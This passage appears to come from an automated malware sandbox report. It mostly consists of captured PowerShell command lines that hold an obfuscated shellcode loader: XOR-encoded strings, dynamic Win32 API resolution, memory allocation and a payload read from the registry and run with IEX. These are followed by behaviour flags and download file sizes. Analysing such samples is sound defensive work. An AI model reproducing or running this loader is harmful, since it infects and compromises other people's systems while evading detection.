pr`$BeUShnJosEnhUpaSmdKioCawIn5Bo En`$GrUklnSqsPahReaDodPyoBawUd6vo;Tu`$HaKsuaAnbbueAllTiffyoLirBlbUniHenOfdKaeAnlSospieUnrSknMyeFe7So Ma=Re QaANeuTidChiGloFslUnoKagMeiChsgakLeeChsps0Hi Un'MiASn8CoCas6ElEPa9PaFArFMiFUn9AbEDe5TuFFo8coFAmEAuEUn5PlESu9alFFoFLeBTrCDiBUsFUdANiCFoBDe1DrAPaCInARa8YdCOm1MiEteDIgENo2PlEBl5FoEUl0UtEFa0reEOp9UvFFrFBaAPa2AsCRe5KlEVe2LiFIsAReECo3TuEWa7FoEFo9UrAGr4GoDba7frCSu5TrEWh2FeFOv8StDUnCAmFHa8AgFExEClDHd1ChBOm6suBRe6BeDEx6unEfl9FrFLsECoEBo3ViABl0PeAMoCPoBAlFDaBDe9trBSt8CoAAp0SkABeCDmBGaCBrFMi4SpBcaFPiBUnCDuBEfCBiBEkCanABa0ExAHuCMyBDiCDiFFo4SpBUd8TeBSpCprAWi5Ov'Lo;Dr&Ai(Un`$PaUOpnLssGehmaamidFroTrwIn7Me)Ti Ha`$PlKBeaErbReegllFofSaoUnrZibMaiLinUndSuePilInsPreEprSenAreTr7Ge;Fo`$MaKByaSobSkeSalWifUfoBerMabEviStnSydTeeMelSusDyeMirStnTreRe8no Gr=Un KaAInuUpdOpiCiozelLooVigVoiSisStkAzeHasRa0El Re'AkABi8BaCNeDalEHa0GiFPrCKaENo4InENeDUnEanESoESu9SmFWa8FdEPe5ElFUdFBiEWh9SkFFiFIrAReCDiBRu1BrAPiCImAEo8MaCUd1UnEClDmiEFr2ReEBe5akEHe0KlETa0StEGr9LoFvrFovAIn2DaCWa5StESp2WiFBeAPrERg3DrEKn7ErEGa9SeARu4GuDRh7BoCDa5CrEVe2FuFFe8DeDLeCSeFMo8UbFfiEDsDSt1WhBGa6HoBPu6InDMi6ChECo9IdFZeEBvEHa3NoAVi0QuABlCVkBsvCBeFHi4InBVeDSpBMiCNrBPaCSuBTrCKlBKoCMoBStCSvARd0RaAInCSaBInCguFHe4SlBKrFCaBSeCDyBDoCstBSyCTrAHe0SaACiCSpBElCUnFSl4BaBMa8BrAHe5Di'Fa;Pr&Ud(Ti`$KlULunBisMehBeaSidsaoDowOv7Ch)Be aa`$KrKMiaKubMeeVrlStfSuoUnrImbRuiSonUddDoeCulUnsImeHerTanEleUb8Bl;Sn`$VoJKaephsAcuMoiSetGorAliNaeKesBa0Ku0Sp0Mo=De'SpHBiKDaCIhUAg:Mr\unGSnaLazPeaefnIngTeaMibDaiHanba\IbDPaiPovAbeTorHesMaiBooAfnMiaSmlKo'Sp;Do`$RrJVeeInsMauVaiSttUnrPhireeExsPa0De0So1Ge Su=SkATiuBadCoiMeoEulOuoBiglaiinsSekKeeChsBe0Ra Lu'SlAFi8SkDUbFPaEKlFMuEFo3UnFAlESkFMaFAlEHe9PrFCoFCrERo9ApBFj1KlADo4BlCUnBSvESc9ReFVe8UnAFo1ToCKo5ofFRi8AcESk9vrEJa1TaDKoCInFMoESaETr3DeFavCAfEBa9chFBeEGnFVa8SuFSi5klAriCPrAHo1KrDNeCCrEUnDsiFsc8SyESu4CaADeCFrADe8FuCkl6GuEul9RoFEdFReFTr9KuEfl5SuFSa8hjFDyEStESp5TpENo9SyFBaFStBspCToBCaCCaBCaCCoAAa5SpACz2KoCSeBSkFFu9UnEOv0InEPs8NaFSoFLiFNo8ExFFa5CaETh7viELe7UnEPr9SaFUn8Gu'Ra;de&Li(Po`$HaUSknHesSkhvgaRudBeoTewCh7Ib)Bl St`$ExJKreUlsSauGniSttRerReiTaeStsMa0Be0sk1Kn;Be`$ChKFlaFrbSkeKylKofUnolarClbEviDenIndLieRelWisEmeEsrTrnTweNo9Bu re=Mo DeAStuhsdSiiSuopolUnoUdgOciSasPakUheGesNo0Bo Tv'MyASs8beCKo7jaEPaDDuEVeEAsEAf9SkEFo0PeEToAFaESl3PhFSkEReEclERoERe5DoEHi2SeECh8TeEVa9ReEud0SaFhuFUnEAn9arFExENaENe2CoERu9VeAAgCpuBOv1StAStCPrDch7UdDYeFinFVu5KaFCiFIrFHj8DiESu9SoEFi1BeAAf2SaCMuFOuETr3VgENo2SaFUdASoEIn9SuFBaEFtFFr8viDAd1unBEk6StBOp6apCBrAYnFReESpESa3GoEDa1JaCOuEReEKeDMoFHaFGaEfl9SuBQuAMuBIn8AnDKrFLoFCn8InFSpEEmEPa5HeETe2TiESuBStAFy4CoAgr8CoDreFRaEHyFEnEAp3PaFflEReFCoFReELe9SaFPrFSkESr9MoAPi5Ab'Bu;co&Ab(Re`$WaUbinInsTehAgaKidTioQuwCa7Ma)tr Ki`$MaKSkaSpbFjePtlKofnooSyrUnbPeiFlnBedBreLalFasKieInrSanMoeSp9He;Ph`$FuSAdcAfoVirHusIneLrsFleam0sw St=Ud InAFruvadgliOvoFolStoOvgVriSvsSukSueTosUn0sa Ba'ToDAd7MiDJoFdiFKs5ArFPiFNrFSu8ScENe9TaEHu1InASy2JaDSkEemFTr9StEVi2BjFSh8TeEMi5RkETr1FoEKi9BaAJu2KoCSu5BeEOv2ArFPl8StEti9VaFCuEomESp3AcFDoCklDAcFLiETo9tiFDeEDiFPsAsoEHu5LiELaFprEAn9SiFReFmuASv2ShCAi1EnEKrDUdFUnEVaFMiFHjEPs4ElEAfDBiEHa0KoDOv1PiBLe6ElBIo6ClCCaFKeEGo3PaFSaCChFKr5PeAVe4DoAVr8FeCJu7DeESuDReEBuEchESu9SoEEx0PrEDyADrEFo3LiFAfEThEJaEKrEga5alEGy2AuEmi8StEge9TiEBe0ReFCoFNeEFr9FoFPoELyENa2SiEDa9LoAVa0SpAPiCMoBPiCAfALa0FoARoCCrABrCPuAIn8ViCMo6PrEOv9KaFOpFBiFGl9PrESu5SmFSc8SyFPrEJoEki5DyERe9TeFopFfuBArCGaBChFBeABo0KaADoCKkBLuFSlBSc9PlBVe8BaAVr5Wi'Un;El&Ic(Ly`$SlUNontosSahTraPodKuoHewFo7Fo)St Ca`$ImSDicInoSerUnsCeeHasHjeOp0Ad;je`$StNroeHadChspeashtLetReeStsCo=Va`$foKMiaSebWoeaflChfBroKnrSpbLeiSynErdJoedelFosGreSarOpnCyeRo.BlcStomyuLinMetCy-Li3An5Kn4Sa;Ko`$WrSBecEvoLyrSmsSleNesBeeDr1Ku Fo=Sh HuATiuPrdKriCooStlDeoArgPiiDksTvkAneKvsMo0hv Tu'BeDUn7AnDSeFGeFFe5ReFSuFMiFpu8SlEAg9NaECo1StAAf2inDRuESvFMe9ElEBl2NoFFa8ufECr5HuEEn1boEJa9AnAFo2PoCtr5KuETi2ViFUn8UnEIn9OrFIsEraENo3LoFPaCMoDVaFUnEMe9CrFFiEHaFSpANyESy5UnEDiFMuETr9CaFInFOvAVo2VeCFr1GnEOvDSaFInEFoFDaFAnESn4MaEfoDskEod0PhDOp1HeBNi6WyBCu6UaCEmFShEIr3GyFMrCMaFHl5AfAOo4SpAKn8BeCTr7SlEAnDHaESoEPlEKo9BlECi0StETrAAkEMo3BaFDiESkESkEPlEId5AuEGl2XaESk8JuEop9KnEHe0SoFCrFDaEAf9YaFGrEMiEFe2DiENo9MiAHa0AnAApCFiBNnFUdBMa9amBOv8ElAsk0GeAGaCReABy8PaCDeDHoEDo0DaFthCCoEci4HaEOvDChEEmECaENa9SyFSt8KlEDe5PhFInFDeESp9paFEpFPrAre0LaALeCUnApl8MaCUg2BrECy9PaETr8VeFMaFImELlDKiFGe8ChFEl8TiESu9gnFTiFPrASe5Se'Ox;Dr&Un(Sa`$AfUbanFosSohDoaBrdAmoRuwIm7Ax)Ma no`$ReSwgccooWerLisGeeDesDieVi1An;Be`$DeSRecOcoJarAfsAueUssPieSf2Pe Im=Se PaAPruIsdSqireoBulfpoSrgIgiTrsfektreEssIs0Im He'KeACo8ClCSu0EdEDi9NaELyBSeEBr9ArEHy2DeELn8ErENy9EgFSaFFoALaCAnBBr1PoAtoCTeDSn7TiDcoFStFRe5StFLiFBaFLu8EoESt9UbESo1BlASk2VaDSaEelFBe9ElECh2AnFti8GrEch5RiEUn1PoESk9AnABu2HyCRa5CaEHo2UdFPe8UnECa9CaFmaEanEar3BoFNaCTiDNoFMiEHe9PrFAmEUrFYeAMuEUn5TrEHeFLaEAs9MiFOkFLaATr2ReCSe1diELiDFlFunEHaFDeFboEBa4TaEPeDHeELg0NoDGu1StBDi6PeBSg6TuCInBprECr9KoFde8CoCPy8UnEPr9SlEGr0VeEBo9BaERoBYaEReDDiFvo8NeENe9LeCBlAOzETo3PeFsiEAnCThAEcFHu9vrEAf2PoEHiFUnFYd8InEWe5ToEOb3AnEfu2VeDFuCNaEUn3HaEUn5UnESc2XsFne8FoEDe9TrFBlESeADa4OvAsp8ulCKl6OvEAp9ThFHaFMuFDr9deEMa5CrFCo8LoFAnEPrENo5TfEKv9saFAnFNyBPrCBlBBoFLuARo0SuAHiCAuATy4CoCSpBPoCQu8FeDRe8TaACoCElCArCHaANo4ReDFo7atCpl5BrEja2MoFCa8CoDreCReFGe8TeFKlEBlDNo1ReAMo0CrDCh7LeCBe5LeEGr2SkFAp8GeDMeCViFSo8AlFIsECrDIn1SlAJe5RoASvCbrAKe4UdDRe7ToDMoAInEUm3JuEBe5CrEva8SaDAr1GlABe5ruASk5FaAPe5Op'Bi;Lu&Tr(Gr`$ExUConKrsCahSlaDodtrotowOu7Sy)Kh Be`$FoSRacVaoHerTasfoeKvsDeeCa2sn;Aw`$RuSeocReoInrObsBaeStsBleSt3In ch=Ko UdAInuIsdTrineoSiloloMogDuiMusVakIneKvsDa0Un me'KeAab8SpCGr0SuEEl9ChELyBWuELr9PiELi2StECh8YuEBr9SoFPeFGeAUn2GeCTu5LiEVa2IrFSlANoEDr3MiELu7NaEUv9LoASo4StACh8coCNoDdrEBy0WaFOvCBaECo4BaEouDGuESyEDrECh9PaFKo8CoEGe5CrFDeFInETw9InFBuFFoALi0AlAIn8WeCDa4StEWa9DaFKr4JuEFyDSkFPaCEkFCy8MeESu9HoFChEPuEUn3YiFTr9peFExFToBVeDUnBNoEPaBHf8BrAEl5So'Af;Vi&Ru(Gu`$FlUTjnNosAlhEuaFudJeoLawGi7Ef)As Pr`$SeSUdcPeoAorBrsBaeShsMaePr3Eu#Ud;""";;Function Scorsese9 { param([String]$Fllesudgiften); For($Familieydelserne=2; $Familieydelserne -lt $Fllesudgiften.Length-1; $Familieydelserne+=(2+1)){ $Audiologiskes = $Audiologiskes + $Fllesudgiften.Substring($Familieydelserne, 1); } $Audiologiskes;}$Plage0 = Scorsese9 'Ti Ti Fo no Re Vr Eg Sy Ab Es Fi Un Su Ta Va Pr Sp La St Hy Ar Dk Wh EnIgeEOrXHo ';$Plage1= Scorsese9 $Orthopedists;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Plage1 ;}else{.$Plage0 $Plage1;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Audiologiskes0 { param([String]$Fllesudgiften); $Otoconite = New-Object byte[] ($Fllesudgiften.Length / 2); For($Familieydelserne=0; $Familieydelserne -lt $Fllesudgiften.Length; $Familieydelserne+=2){ $Otoconite[$Familieydelserne/2] = [convert]::ToByte($Fllesudgiften.Substring($Familieydelserne, 2), 16); $Otoconite[$Familieydelserne/2] = ($Otoconite[$Familieydelserne/2] -bxor 140); } [String][System.Text.Encoding]::ASCII.GetString($Otoconite);}$Nonnegativistic0=Audiologiskes0 'DFF5FFF8E9E1A2E8E0E0';$Nonnegativistic1=Audiologiskes0 'C1E5EFFEE3FFE3EAF8A2DBE5E2BFBEA2D9E2FFEDEAE9C2EDF8E5FAE9C1E9F8E4E3E8FF';$Nonnegativistic2=Audiologiskes0 'CBE9F8DCFEE3EFCDE8E8FEE9FFFF';$Nonnegativistic3=Audiologiskes0 'DFF5FFF8E9E1A2DEF9E2F8E5E1E9A2C5E2F8E9FEE3FCDFE9FEFAE5EFE9FFA2C4EDE2E8E0E9DEE9EA';$Nonnegativistic4=Audiologiskes0 'FFF8FEE5E2EB';$Nonnegativistic5=Audiologiskes0 'CBE9F8C1E3E8F9E0E9C4EDE2E8E0E9';$Nonnegativistic6=Audiologiskes0 'DED8DFFCE9EFE5EDE0C2EDE1E9A0ACC4E5E8E9CEF5DFE5EBA0ACDCF9EEE0E5EF';$Nonnegativistic7=Audiologiskes0 'DEF9E2F8E5E1E9A0ACC1EDE2EDEBE9E8';$Nonnegativistic8=Audiologiskes0 'DEE9EAE0E9EFF8E9E8C8E9E0E9EBEDF8E9';$Nonnegativistic9=Audiologiskes0 'C5E2C1E9E1E3FEF5C1E3E8F9E0E9';$Unshadow0=Audiologiskes0 'C1F5C8E9E0E9EBEDF8E9D8F5FCE9';$Unshadow1=Audiologiskes0 'CFE0EDFFFFA0ACDCF9EEE0E5EFA0ACDFE9EDE0E9E8A0ACCDE2FFE5CFE0EDFFFFA0ACCDF9F8E3CFE0EDFFFF';$Unshadow2=Audiologiskes0 'C5E2FAE3E7E9';$Unshadow3=Audiologiskes0 'DCF9EEE0E5EFA0ACC4E5E8E9CEF5DFE5EBA0ACC2E9FBDFE0E3F8A0ACDAE5FEF8F9EDE0';$Unshadow4=Audiologiskes0 'DAE5FEF8F9EDE0CDE0E0E3EF';$Unshadow5=Audiologiskes0 'E2F8E8E0E0';$Unshadow6=Audiologiskes0 'C2F8DCFEE3F8E9EFF8DAE5FEF8F9EDE0C1E9E1E3FEF5';$Unshadow7=Audiologiskes0 'C5C9D4';$Unshadow8=Audiologiskes0 'D0';function fkp {Param ($Transverses, $Fosslify) ;$Kabelforbindelserne0 =Audiologiskes0 'A8C4EDE2E8FFE3E1E9FFF8ACB1ACA4D7CDFCFCC8E3E1EDE5E2D1B6B6CFF9FEFEE9E2F8C8E3E1EDE5E2A2CBE9F8CDFFFFE9E1EEE0E5E9FFA4A5ACF0ACDBE4E9FEE9A1C3EEE6E9EFF8ACF7ACA8D3A2CBE0E3EEEDE0CDFFFFE9E1EEE0F5CFEDEFE4E9ACA1CDE2E8ACA8D3A2C0E3EFEDF8E5E3E2A2DFFCE0E5F8A4A8D9E2FFE4EDE8E3FBB4A5D7A1BDD1A2C9FDF9EDE0FFA4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFBCA5ACF1A5A2CBE9F8D8F5FCE9A4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFBDA5';&($Unshadow7) $Kabelforbindelserne0;$Kabelforbindelserne5 = Audiologiskes0 'A8C4E9E5E8E9E1EDEDE2FFACB1ACA8C4EDE2E8FFE3E1E9FFF8A2CBE9F8C1E9F8E4E3E8A4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFBEA0ACD7D8F5FCE9D7D1D1ACCCA4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFBFA0ACA8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFB8A5A5';&($Unshadow7) $Kabelforbindelserne5;$Kabelforbindelserne1 = Audiologiskes0 'FEE9F8F9FEE2ACA8C4E9E5E8E9E1EDEDE2FFA2C5E2FAE3E7E9A4A8E2F9E0E0A0ACCCA4D7DFF5FFF8E9E1A2DEF9E2F8E5E1E9A2C5E2F8E9FEE3FCDFE9FEFAE5EFE9FFA2C4EDE2E8E0E9DEE9EAD1A4C2E9FBA1C3EEE6E9EFF8ACDFF5FFF8E9E1A2DEF9E2F8E5E1E9A2C5E2F8E9FEE3FCDFE9FEFAE5EFE9FFA2C4EDE2E8E0E9DEE9EAA4A4C2E9FBA1C3EEE6E9EFF8ACC5E2F8DCF8FEA5A0ACA4A8C4EDE2E8FFE3E1E9FFF8A2CBE9F8C1E9F8E4E3E8A4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFB9A5A5A2C5E2FAE3E7E9A4A8E2F9E0E0A0ACCCA4A8D8FEEDE2FFFAE9FEFFE9FFA5A5A5A5A0ACA8CAE3FFFFE0E5EAF5A5A5';&($Unshadow7) $Kabelforbindelserne1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Devs,[Parameter(Position = 1)] [Type] $Dannebrogsvinduets = [Void]);$Kabelforbindelserne2 = Audiologiskes0 'A8C7E3FEEDE0E9FEFFACB1ACD7CDFCFCC8E3E1EDE5E2D1B6B6CFF9FEFEE9E2F8C8E3E1EDE5E2A2C8E9EAE5E2E9C8F5E2EDE1E5EFCDFFFFE9E1EEE0F5A4A4C2E9FBA1C3EEE6E9EFF8ACDFF5FFF8E9E1A2DEE9EAE0E9EFF8E5E3E2A2CDFFFFE9E1EEE0F5C2EDE1E9A4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFB4A5A5A0ACD7DFF5FFF8E9E1A2DEE9EAE0E9EFF8E5E3E2A2C9E1E5F8A2CDFFFFE9E1EEE0F5CEF9E5E0E8E9FECDEFEFE9FFFFD1B6B6DEF9E2A5A2C8E9EAE5E2E9C8F5E2EDE1E5EFC1E3E8F9E0E9A4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFB5A0ACA8EAEDE0FFE9A5A2C8E9EAE5E2E9D8F5FCE9A4A8D9E2FFE4EDE8E3FBBCA0ACA8D9E2FFE4EDE8E3FBBDA0ACD7DFF5FFF8E9E1A2C1F9E0F8E5EFEDFFF8C8E9E0E9EBEDF8E9D1A5';&($Unshadow7) $Kabelforbindelserne2;$Kabelforbindelserne3 = Audiologiskes0 'A8C7E3FEEDE0E9FEFFA2C8E9EAE5E2E9CFE3E2FFF8FEF9EFF8E3FEA4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFBAA0ACD7DFF5FFF8E9E1A2DEE9EAE0E9EFF8E5E3E2A2CFEDE0E0E5E2EBCFE3E2FAE9E2F8E5E3E2FFD1B6B6DFF8EDE2E8EDFEE8A0ACA8C8E9FAFFA5A2DFE9F8C5E1FCE0E9E1E9E2F8EDF8E5E3E2CAE0EDEBFFA4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFBBA5';&($Unshadow7) $Kabelforbindelserne3;$Kabelforbindelserne4 = Audiologiskes0 'A8C7E3FEEDE0E9FEFFA2C8E9EAE5E2E9C1E9F8E4E3E8A4A8D9E2FFE4EDE8E3FBBEA0ACA8D9E2FFE4EDE8E3FBBFA0ACA8C8EDE2E2E9EEFEE3EBFFFAE5E2E8F9E9F8FFA0ACA8C8E9FAFFA5A2DFE9F8C5E1FCE0E9E1E9E2F8EDF8E5E3E2CAE0EDEBFFA4A8C2E3E2E2E9EBEDF8E5FAE5FFF8E5EFBBA5';&($Unshadow7) $Kabelforbindelserne4;$Kabelforbindelserne5 = Audiologiskes0 'FEE9F8F9FEE2ACA8C7E3FEEDE0E9FEFFA2CFFEE9EDF8E9D8F5FCE9A4A5';&($Unshadow7) $Kabelforbindelserne5 ;}$Karkluden = Audiologiskes0 'E7E9FEE2E9E0BFBE';$Kabelforbindelserne6 = Audiologiskes0 'A8C1EDE2E5E0E0E9FFACB1ACD7DFF5FFF8E9E1A2DEF9E2F8E5E1E9A2C5E2F8E9FEE3FCDFE9FEFAE5EFE9FFA2C1EDFEFFE4EDE0D1B6B6CBE9F8C8E9E0E9EBEDF8E9CAE3FECAF9E2EFF8E5E3E2DCE3E5E2F8E9FEA4A4EAE7FCACA8C7EDFEE7E0F9E8E9E2ACA8D9E2FFE4EDE8E3FBB8A5A0ACA4CBC8D8ACCCA4D7C5E2F8DCF8FED1A0ACD7D9C5E2F8BFBED1A0ACD7D9C5E2F8BFBED1A0ACD7D9C5E2F8BFBED1A5ACA4D7C5E2F8DCF8FED1A5A5A5';&($Unshadow7) $Kabelforbindelserne6;$Hexapterous124 = fkp $Unshadow5 $Unshadow6;$Kabelforbindelserne7 = Audiologiskes0 'A8C6E9FFF9E5F8FEE5E9FFBCBFACB1ACA8C1EDE2E5E0E0E9FFA2C5E2FAE3E7E9A4D7C5E2F8DCF8FED1B6B6D6E9FEE3A0ACBFB9B8A0ACBCF4BFBCBCBCA0ACBCF4B8BCA5';&($Unshadow7) $Kabelforbindelserne7;$Kabelforbindelserne8 = Audiologiskes0 'A8CDE0FCE4EDEEE9F8E5FFE9FFACB1ACA8C1EDE2E5E0E0E9FFA2C5E2FAE3E7E9A4D7C5E2F8DCF8FED1B6B6D6E9FEE3A0ACBCF4BDBCBCBCBCBCA0ACBCF4BFBCBCBCA0ACBCF4B8A5';&($Unshadow7) $Kabelforbindelserne8;$Jesuitries000='HKCU:\Gazangabin\Diversional';$Jesuitries001 =Audiologiskes0 'A8DFEFE3FEFFE9FFE9B1A4CBE9F8A1C5F8E9E1DCFEE3FCE9FEF8F5ACA1DCEDF8E4ACA8C6E9FFF9E5F8FEE5E9FFBCBCBCA5A2CBF9E0E8FFF8F5E7E7E9F8';&($Unshadow7) $Jesuitries001;$Kabelforbindelserne9 = Audiologiskes0 'A8C7EDEEE9E0EAE3FEEEE5E2E8E9E0FFE9FEE2E9ACB1ACD7DFF5FFF8E9E1A2CFE3E2FAE9FEF8D1B6B6CAFEE3E1CEEDFFE9BAB8DFF8FEE5E2EBA4A8DFEFE3FEFFE9FFE9A5';&($Unshadow7) $Kabelforbindelserne9;$Scorsese0 = Audiologiskes0 'D7DFF5FFF8E9E1A2DEF9E2F8E5E1E9A2C5E2F8E9FEE3FCDFE9FEFAE5EFE9FFA2C1EDFEFFE4EDE0D1B6B6CFE3FCF5A4A8C7EDEEE9E0EAE3FEEEE5E2E8E9E0FFE9FEE2E9A0ACBCA0ACACA8C6E9FFF9E5F8FEE5E9FFBCBFA0ACBFB9B8A5';&($Unshadow7) $Scorsese0;$Nedsattes=$Kabelforbindelserne.count-354;$Scorsese1 = Audiologiskes0 'D7DFF5FFF8E9E1A2DEF9E2F8E5E1E9A2C5E2F8E9FEE3FCDFE9FEFAE5EFE9FFA2C1EDFEFFE4EDE0D1B6B6CFE3FCF5A4A8C7EDEEE9E0EAE3FEEEE5E2E8E9E0FFE9FEE2E9A0ACBFB9B8A0ACA8CDE0FCE4EDEEE9F8E5FFE9FFA0ACA8C2E9E8FFEDF8F8E9FFA5';&($Unshadow7) $Scorsese1;$Scorsese2 = Audiologiskes0 'A8C0E9EBE9E2E8E9FFACB1ACD7DFF5FFF8E9E1A2DEF9E2F8E5E1E9A2C5E2F8E9FEE3FCDFE9FEFAE5EFE9FFA2C1EDFEFFE4EDE0D1B6B6CBE9F8C8E9E0E9EBEDF8E9CAE3FECAF9E2EFF8E5E3E2DCE3E5E2F8E9FEA4A8C6E9FFF9E5F8FEE5E9FFBCBFA0ACA4CBC8D8ACCCA4D7C5E2F8DCF8FED1A0D7C5E2F8DCF8FED1A5ACA4D7DAE3E5E8D1A5A5A5';&($Unshadow7) $Scorsese2;$Scorsese3 = Audiologiskes0 'A8C0E9EBE9E2E8E9FFA2C5E2FAE3E7E9A4A8CDE0FCE4EDEEE9F8E5FFE9FFA0A8C4E9F4EDFCF8E9FEE3F9FFBDBEB8A5';&($Unshadow7) $Scorsese3#"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
104KB
-
Filesize
600KB
-
Filesize
408KB
-
Filesize
120KB
-
Filesize
408KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
136KB
-
Filesize
6.5MB
-
Filesize
6.5MB
-
Filesize
6.5MB
-
Filesize
5.6MB
-
Filesize
136KB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
10.8MB